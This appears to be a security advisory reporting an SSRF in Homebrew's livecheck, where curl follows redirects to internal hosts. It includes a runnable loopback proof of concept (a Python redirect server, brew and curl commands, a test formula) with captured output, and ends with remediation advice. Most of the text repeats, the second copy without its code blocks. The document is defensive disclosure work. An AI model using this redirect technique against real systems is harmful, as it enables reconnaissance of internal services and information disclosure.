Summary
Homebrew::Livecheck::Strategy.page_content (and page_headers) fetches a formula's or cask's livecheck URL with DEFAULT_CURL_ARGS = ["--location", "--max-redirs", "5", "--silent"] — it follows up to five redirects but supplies no --proto-redir, no --proto, and no host allowlist by default. An attacker who controls the upstream server of a legitimate formula's livecheck URL (or who is on-path for a plain-HTTP livecheck URL) can reply with a 30x Location: pointing at an internal/loopback host or a non-HTTPS scheme; brew livecheck follows it, reaches the attacker-chosen internal target, and reflects the response body and post-redirect final_url back to the caller. This is a non-misuse SSRF: it does not require a malicious tap or a malicious formula — only control of the redirect target on an already-trusted formula's upstream.
Details
Sink — Library/Homebrew/livecheck/strategy.rb:48-55 (HEAD 09f982d0):
DEFAULT_CURL_ARGS = T.let([
"--location", # follow redirects
"--max-redirs", MAX_REDIRECTIONS.to_s, # up to 5
"--silent"
].freeze, T::Array[String])
consumed by page_content / page_headers → Utils::Curl.curl_output. The redirect-scheme defence no_insecure_redirect_curl_args in Library/Homebrew/utils/curl.rb:176-194 (which adds --proto-redir =https) is applied only when Homebrew::EnvConfig.no_insecure_redirect? (HOMEBREW_NO_INSECURE_REDIRECT) is set. In the default state (env unset), livecheck's curl follows a server-supplied redirect to any scheme/host, including http://127.0.0.1:<port>/…, file://…, or gopher://….
Trust boundary / reachability:
brew livecheck <formula|cask>
→ Homebrew::Livecheck::Strategy.page_content(url) # url = formula's upstream livecheck URL
→ Utils::Curl.curl_output(*PAGE_CONTENT_CURL_ARGS + DEFAULT_CURL_ARGS)
→ curl --location --max-redirs 5 --silent <url> # no --proto-redir
→ attacker upstream replies 301 Location: http://<internal>/…
→ curl follows → internal target reached, body + final_url reflected to caller
Threat model / security boundary / reasonable-use
- Attacker capability (in-scope): the attacker controls (or is on-path MITM for) the upstream server that a legitimate, already-trusted formula's or cask's
livecheck do … url … points at — e.g. the vendor download/version page a mainline homebrew-core formula already lists. The attacker replies to livecheck's GET/HEAD with a 30x Location: pointing at an internal/loopback host or a non-HTTPS scheme. The attacker does not need to publish a malicious tap, submit a malicious formula, or get the victim to add an untrusted repo.
- Why this is NOT misuse: the exploited input (a server-supplied HTTP redirect on a formula's own upstream livecheck URL) is exactly the input livecheck is designed to fetch and follow —
DEFAULT_CURL_ARGS includes --location on purpose. A tap author writing livecheck { url "https://vendor.example/releases" } is the normal, documented pattern; the vulnerability is that the redirect the vendor server returns is trusted unconditionally as to scheme and host.
- Victim action (reasonable use): a maintainer, contributor, or CI job runs
brew livecheck <formula> / brew bump <formula> (or brew livecheck --tap/--eval-all over many formulae) — the routine "is there a new upstream version?" workflow, run constantly in Homebrew's own bump pipelines.
- Boundary crossed: the request originates from inside the victim's host/network and reaches an internal or loopback target the victim never intended livecheck to touch (
http://127.0.0.1:…, RFC-1918, link-local/metadata endpoints), and the internal target's response body + final URL are reflected back into livecheck output — an SSRF read primitive across the host↔internal-network trust boundary. UI:R reflects that a human/CI must run livecheck; nothing else is a misuse step.
Proof of Concept (full, runnable — inline)
The reproducer stands up two loopback HTTP servers — an origin on 127.0.0.1:18100 that 301-redirects to an internal target on 127.0.0.1:18101 (which logs that it was reached and returns a page containing a version string) — then drives the real, unmodified Homebrew::Livecheck::Strategy.page_content sink at HEAD via ./bin/brew ruby, followed by a raw-curl cross-check and the HOMEBREW_NO_INSECURE_REDIRECT negative control.
1) Redirect-server + internal-target setup (srv.py — 127.0.0.1 only, synthetic content):
import http.server, threading, time, os
HIT = os.environ["HITFILE"]
class H(http.server.BaseHTTPRequestHandler):
def log_message(self, *a): pass
def do_GET(self):
if self.server.server_port == 18100:
# origin: 301-redirect every request to the INTERNAL loopback target
self.send_response(301)
self.send_header("Location", "http://127.0.0.1:18101/secret")
self.end_headers()
else:
# internal SSRF target: log the hit, return a page carrying a version
open(HIT, "w").write("SSRF-HIT " + self.path)
self.send_response(200); self.end_headers()
self.wfile.write(b"internal secret page: version 9.9.9")
do_HEAD = do_GET
def run(p): http.server.HTTPServer(("127.0.0.1", p), H).serve_forever()
for p in (18100, 18101):
threading.Thread(target=run, args=(p,), daemon=True).start()
time.sleep(30)
2) Exact commands (run from the brew checkout at HEAD 09f982d0):
export HITFILE="$(mktemp -d)/hit.txt"; rm -f "$HITFILE"
python3 srv.py & SP=$!; sleep 2
# --- POSITIVE: drive the REAL HEAD sink; no HOMEBREW_NO_INSECURE_REDIRECT set ---
./bin/brew ruby -e '
require "livecheck/strategy"
puts "ARGS_AT_HEAD=#{Homebrew::Livecheck::Strategy::DEFAULT_CURL_ARGS.inspect}"
c = Homebrew::Livecheck::Strategy.page_content("http://127.0.0.1:18100/livecheck")
puts "FINAL_URL=#{c[:final_url].inspect}"
puts "CONTENT=#{c[:content].inspect}"
puts "MESSAGES=#{c[:messages].inspect}"
'
echo "[internal listener] $(cat "$HITFILE" 2>/dev/null)"
# --- raw-curl cross-check: DEFAULT_CURL_ARGS verbatim ---
rm -f "$HITFILE"
curl --location --max-redirs 5 --silent http://127.0.0.1:18100/livecheck; echo " rc=$?"
echo "[internal listener] $(cat "$HITFILE" 2>/dev/null)"
# --- NEGATIVE CONTROL: opt-in guard adds --proto-redir =https ---
rm -f "$HITFILE"
HOMEBREW_NO_INSECURE_REDIRECT=1 ./bin/brew ruby -e '
require "livecheck/strategy"
c = Homebrew::Livecheck::Strategy.page_content("http://127.0.0.1:18100/livecheck")
puts "FINAL_URL=#{c[:final_url].inspect}"
puts "CONTENT=#{c[:content].inspect}"
puts "MESSAGES=#{c[:messages].inspect}"
'
echo "[internal listener] $(cat "$HITFILE" 2>/dev/null) (expected empty)"
kill $SP 2>/dev/null
An optional end-to-end variant drives the CLI itself with a throwaway tap formula (identical result — brew livecheck --formula poc/w3/evilw3 prints evilw3: 0.0.1 ==> 9.9.9, the version extracted from the internal 18101 target):
class Evilw3 < Formula
desc "PoC: livecheck redirect SSRF (no --proto-redir)"
homepage "https://example.invalid/w3"
url "https://example.invalid/evilw3-0.0.1.tar.gz"
version "0.0.1"
livecheck do
url "http://127.0.0.1:18100/livecheck" # attacker-influenced upstream livecheck server
regex(/version (\d+(?:\.\d+)+)/i)
strategy :page_match
end
end
Proof of Concept (captured stdout, verbatim)
Captured driving the real, unmodified HEAD Ruby sink (Strategy.page_content) plus raw-curl cross-check and negative control. The runtime capture below was taken at commit 2b3683acbe; the sink (livecheck/strategy.rb:48-55 DEFAULT_CURL_ARGS and the opt-in-only utils/curl.rb:176-194 guard) is byte-identical at HEAD 09f982d0, so the observed behaviour is the HEAD behaviour.
================================ SINK AT HEAD ================================
Library/Homebrew/livecheck/strategy.rb:48-55
DEFAULT_CURL_ARGS = ["--location", "--max-redirs", MAX_REDIRECTIONS.to_s, "--silent"] # NO --proto/--proto-redir
Library/Homebrew/utils/curl.rb:176-194
no_insecure_redirect_curl_args: adds `--proto-redir =https` ONLY when HOMEBREW_NO_INSECURE_REDIRECT is set.
========= POSITIVE: REAL HEAD Strategy.page_content follows redirect to INTERNAL host (SSRF) =========
origin 127.0.0.1:18100/livecheck --301--> internal 127.0.0.1:18101/secret (returns "...version 9.9.9")
ARGS_AT_HEAD=["--location", "--max-redirs", "5", "--silent"]
FINAL_URL="http://127.0.0.1:18101/secret"
CONTENT="internal secret page: version 9.9.9"
MESSAGES=nil
[internal listener] SSRF-HIT GET /secret from 127.0.0.1
[oracle] FIRED — the real HEAD livecheck strategy reached the internal host (SSRF-HIT) AND surfaced
its page content (final_url + body reflected back to the caller).
========= raw-curl cross-check (DEFAULT_CURL_ARGS verbatim) =========
default (no guard): curl --location --max-redirs 5 --silent http://127.0.0.1:18100/livecheck
-> body "internal secret page: version 9.9.9" rc=0
-> [internal listener] SSRF-HIT GET /secret from 127.0.0.1
========= NEG CONTROL: REAL page_content under HOMEBREW_NO_INSECURE_REDIRECT=1 =========
cmd: HOMEBREW_NO_INSECURE_REDIRECT=1 ./bin/brew ruby -e '...page_content(...)'
FINAL_URL=nil
CONTENT=""
MESSAGES=["curl: (1) Protocol \"http\" disabled (in redirect)"]
[internal listener] (empty)
[oracle] internal host NOT reached — the opt-in guard adds `--proto-redir =https`; curl refuses the
http redirect target. Control sound: the SSRF is enabled specifically by the DEFAULT (unset) state.
==================================== VERDICT ====================================
FIRED — Strategy.page_content, built from DEFAULT_CURL_ARGS (no --proto-redir by default), follows a
server-supplied redirect to an internal 127.0.0.1 host and reflects its content. Negative control
(HOMEBREW_NO_INSECURE_REDIRECT => --proto-redir =https) blocks it. proof_label: live_runtime_proof
(The file:// scheme-downgrade sub-case is reported honestly as not fired: curl's default cross-protocol redirect whitelist (http/https/ftp/ftps) excludes file://, so the local-file-read via redirect is bounded on stock curl. The HTTP→internal-host SSRF above is the live finding.)
Impact
brew livecheck (run routinely by maintainers, CI, and brew bump tooling over many formulae) can be steered by any upstream that a formula's livecheck URL trusts into issuing requests to internal/loopback services or non-HTTPS targets, with the response reflected back to the caller. Bounded by the read-only livecheck lane (no writes), but sufficient for internal-service reconnaissance and bounded information disclosure.
Remediation
- Make the redirect restriction the default for livecheck fetches rather than opt-in: add
--proto-redir =https (and ideally --proto =https) to DEFAULT_CURL_ARGS, instead of only under HOMEBREW_NO_INSECURE_REDIRECT.
- Additionally refuse redirects to private/loopback/link-local address ranges in the livecheck lane regardless of scheme.
- Do not reflect the post-redirect
final_url/body when a redirect crossed to a different host or scheme.
DEDUP note vs GHSA-9g4r → NEW advisory (not a duplicate)
GHSA-9g4r-vmj2-j2gj = "Server-supplied svn:externals URL reaches svn checkout in option position (argument injection, no malicious formula)." That is a different sink (the SVN download strategy / svn checkout argv, CWE-88 argument injection) from this finding's sink (livecheck/strategy.rb DEFAULT_CURL_ARGS, CWE-918 SSRF via curl redirect-following). Different code path, different weakness class, different fix. This is a new advisory, not a dup of and not a supplement to GHSA-9g4r.
Also distinct from the other published redirect-family Homebrew GHSAs (for reviewer clarity):
- GHSA-3m5g-jfx7-3p65 —
HOMEBREW_ secret re-sent on a cross-host download redirect (secret leak, download strategy).
- GHSA-r9gp-p4vv-f93x — git redirect retargets a tap's origin on
brew update (tap-allowlist bypass, git).
- GHSA-7699-qf8c-q47m — POST download strategy discards
resolved_url, bypassing HTTPS→HTTP redirect protection (download strategy).
None of the above covers the livecheck curl lane following a server redirect to an internal/non-HTTPS target. This finding is net-new.
AI/LLM use disclosure
This finding was researched and validated with AI/LLM assistance; the reporter verified its correctness against the source and the recorded run, and takes full responsibility for it.
Summary
Homebrew::Livecheck::Strategy.page_content(andpage_headers) fetches a formula's or cask'slivecheckURL withDEFAULT_CURL_ARGS = ["--location", "--max-redirs", "5", "--silent"]— it follows up to five redirects but supplies no--proto-redir, no--proto, and no host allowlist by default. An attacker who controls the upstream server of a legitimate formula's livecheck URL (or who is on-path for a plain-HTTP livecheck URL) can reply with a30x Location:pointing at an internal/loopback host or a non-HTTPS scheme;brew livecheckfollows it, reaches the attacker-chosen internal target, and reflects the response body and post-redirectfinal_urlback to the caller. This is a non-misuse SSRF: it does not require a malicious tap or a malicious formula — only control of the redirect target on an already-trusted formula's upstream.Details
Sink —
Library/Homebrew/livecheck/strategy.rb:48-55(HEAD09f982d0):consumed by
page_content/page_headers→Utils::Curl.curl_output. The redirect-scheme defenceno_insecure_redirect_curl_argsinLibrary/Homebrew/utils/curl.rb:176-194(which adds--proto-redir =https) is applied only whenHomebrew::EnvConfig.no_insecure_redirect?(HOMEBREW_NO_INSECURE_REDIRECT) is set. In the default state (env unset), livecheck's curl follows a server-supplied redirect to any scheme/host, includinghttp://127.0.0.1:<port>/…,file://…, orgopher://….Trust boundary / reachability:
Threat model / security boundary / reasonable-use
livecheck do … url …points at — e.g. the vendor download/version page a mainlinehomebrew-coreformula already lists. The attacker replies to livecheck'sGET/HEADwith a30x Location:pointing at an internal/loopback host or a non-HTTPS scheme. The attacker does not need to publish a malicious tap, submit a malicious formula, or get the victim to add an untrusted repo.DEFAULT_CURL_ARGSincludes--locationon purpose. A tap author writinglivecheck { url "https://vendor.example/releases" }is the normal, documented pattern; the vulnerability is that the redirect the vendor server returns is trusted unconditionally as to scheme and host.brew livecheck <formula>/brew bump <formula>(orbrew livecheck --tap/--eval-allover many formulae) — the routine "is there a new upstream version?" workflow, run constantly in Homebrew's own bump pipelines.http://127.0.0.1:…, RFC-1918, link-local/metadata endpoints), and the internal target's response body + final URL are reflected back into livecheck output — an SSRF read primitive across the host↔internal-network trust boundary.UI:Rreflects that a human/CI must run livecheck; nothing else is a misuse step.Proof of Concept (full, runnable — inline)
The reproducer stands up two loopback HTTP servers — an origin on
127.0.0.1:18100that301-redirects to an internal target on127.0.0.1:18101(which logs that it was reached and returns a page containing a version string) — then drives the real, unmodifiedHomebrew::Livecheck::Strategy.page_contentsink at HEAD via./bin/brew ruby, followed by a raw-curl cross-check and theHOMEBREW_NO_INSECURE_REDIRECTnegative control.1) Redirect-server + internal-target setup (
srv.py— 127.0.0.1 only, synthetic content):2) Exact commands (run from the brew checkout at HEAD
09f982d0):An optional end-to-end variant drives the CLI itself with a throwaway tap formula (identical result —
brew livecheck --formula poc/w3/evilw3printsevilw3: 0.0.1 ==> 9.9.9, the version extracted from the internal18101target):Proof of Concept (captured stdout, verbatim)
Captured driving the real, unmodified HEAD Ruby sink (
Strategy.page_content) plus raw-curl cross-check and negative control. The runtime capture below was taken at commit2b3683acbe; the sink (livecheck/strategy.rb:48-55DEFAULT_CURL_ARGSand the opt-in-onlyutils/curl.rb:176-194guard) is byte-identical at HEAD09f982d0, so the observed behaviour is the HEAD behaviour.(The
file://scheme-downgrade sub-case is reported honestly as not fired: curl's default cross-protocol redirect whitelist (http/https/ftp/ftps) excludesfile://, so the local-file-read via redirect is bounded on stock curl. The HTTP→internal-host SSRF above is the live finding.)Impact
brew livecheck(run routinely by maintainers, CI, andbrew bumptooling over many formulae) can be steered by any upstream that a formula's livecheck URL trusts into issuing requests to internal/loopback services or non-HTTPS targets, with the response reflected back to the caller. Bounded by the read-only livecheck lane (no writes), but sufficient for internal-service reconnaissance and bounded information disclosure.Remediation
--proto-redir =https(and ideally--proto =https) toDEFAULT_CURL_ARGS, instead of only underHOMEBREW_NO_INSECURE_REDIRECT.final_url/body when a redirect crossed to a different host or scheme.DEDUP note vs GHSA-9g4r → NEW advisory (not a duplicate)
GHSA-9g4r-vmj2-j2gj = "Server-supplied
svn:externalsURL reachessvn checkoutin option position (argument injection, no malicious formula)." That is a different sink (the SVN download strategy /svn checkoutargv, CWE-88 argument injection) from this finding's sink (livecheck/strategy.rbDEFAULT_CURL_ARGS, CWE-918 SSRF via curl redirect-following). Different code path, different weakness class, different fix. This is a new advisory, not a dup of and not a supplement to GHSA-9g4r.Also distinct from the other published redirect-family Homebrew GHSAs (for reviewer clarity):
HOMEBREW_secret re-sent on a cross-host download redirect (secret leak, download strategy).brew update(tap-allowlist bypass, git).resolved_url, bypassing HTTPS→HTTP redirect protection (download strategy).None of the above covers the livecheck
curllane following a server redirect to an internal/non-HTTPS target. This finding is net-new.AI/LLM use disclosure
This finding was researched and validated with AI/LLM assistance; the reporter verified its correctness against the source and the recorded run, and takes full responsibility for it.